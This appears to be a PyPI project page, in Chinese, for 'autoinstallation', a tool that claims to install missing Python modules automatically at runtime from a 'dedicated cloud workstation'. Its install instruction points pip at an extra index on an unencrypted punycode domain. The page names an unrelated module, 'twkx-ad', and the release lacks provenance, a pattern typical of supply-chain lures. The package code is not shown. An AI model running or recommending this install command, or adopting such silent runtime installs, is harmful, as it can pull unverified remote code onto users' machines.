autoinstallation
自動依賴管理系統 (Auto installation) > Developed by KunXuLiu
autoinstallation 是一個為 Python 開發者設計的自動化環境建置工具。它能夠在程式執行時,自動偵測環境中是否缺少指定的第三方模組。若發現缺失,系統會自動從專屬的雲端工作站或官方來源下載並安裝,讓你的主程式不會因為 ImportError 而中斷。
安裝方式
你可以透過指定專屬私有倉庫(雲端工作站)來安裝此套件:
pip install --extra-index-url http://xn--bfru56bwlk.cc.cd/pip/autoinstallation
使用範例
在你的 Python 腳本開頭,引入 twkx-ad 並呼叫 install() 方法。它完美支援單一字串或陣列列表 (List)。
- 安裝單一模組 (字串格式)
import autoinstallation
# 自動檢查並安裝單一模組
autoinstallation.install("requests")
# 之後即可直接使用
import requests
print(requests.__version__)
- 批量安裝多個模組 (列表格式)
import autoinstallation
# 定義你需要的所有依賴清單
dependencies = ["numpy", "pandas", "pillow"]
# 一次性自動檢測與安裝
autoinstallation.install(dependencies)
安全注意事項
由於本工具具備自動執行 pip install 的權限,建議僅針對受信任的倉庫來源使用。
Metadata
Release files for autoinstallation 1.0.0
For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.
Source distribution (sdist)
| File | Size | Uploaded | Provenance | |
|---|---|---|---|---|
| autoinstallation-1.0.0.tar.gz | 4.1 kB | Without provenance | Details |
Built distribution (wheel)
| File | Interpreter | ABI | Platform | Reset |
|---|---|---|---|---|
| autoinstallation-1.0.0-py3-none-any.whl | Python 3 | none | any | Details |
Total release size: 9.0 kB
Release files / autoinstallation-1.0.0.tar.gz
| Download URL | autoinstallation-1.0.0.tar.gz |
|---|---|
| Size | 4.1 kB |
| Tags | Source |
|
SHA-256 checksum How to use checksums |
e948532470a43eeea50c690c54e0fcc7d5395efb4faa53c1b34c28f5d5e82c2c
|
|
BLAKE2b-256 checksum How to use checksums |
5f717ccd2e53f347e7a68dc7dac7092885680757f3967feface11812831c6f6b
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
No |
| Uploaded via |
twine/6.2.0 CPython/3.14.0
|
Release files / autoinstallation-1.0.0-py3-none-any.whl
| Download URL | autoinstallation-1.0.0-py3-none-any.whl |
|---|---|
| Size | 4.9 kB |
| Tags | Python 3 |
|
SHA-256 checksum How to use checksums |
c561700b518e1d24dde01056d5aacd33f6ce01b5b8e704233363a2d8e65e5de1
|
|
BLAKE2b-256 checksum How to use checksums |
e055e460fce616a94c534c38d2a030a8a1af9b3a85a4ce92be86c69e16d389c3
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
No |
| Uploaded via |
twine/6.2.0 CPython/3.14.0
|
Security for autoinstallation 1.0.0
Provenance
Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.
No provenance found
None of the files in this release were uploaded with provenance metadata.
A note on package security
PyPI is a repository for distributing packages, not a service for auditing them. While third-party security researchers and our staff do their best to detect and remove malicious packages, PyPI cannot guarantee the quality, security or suitability of any given package.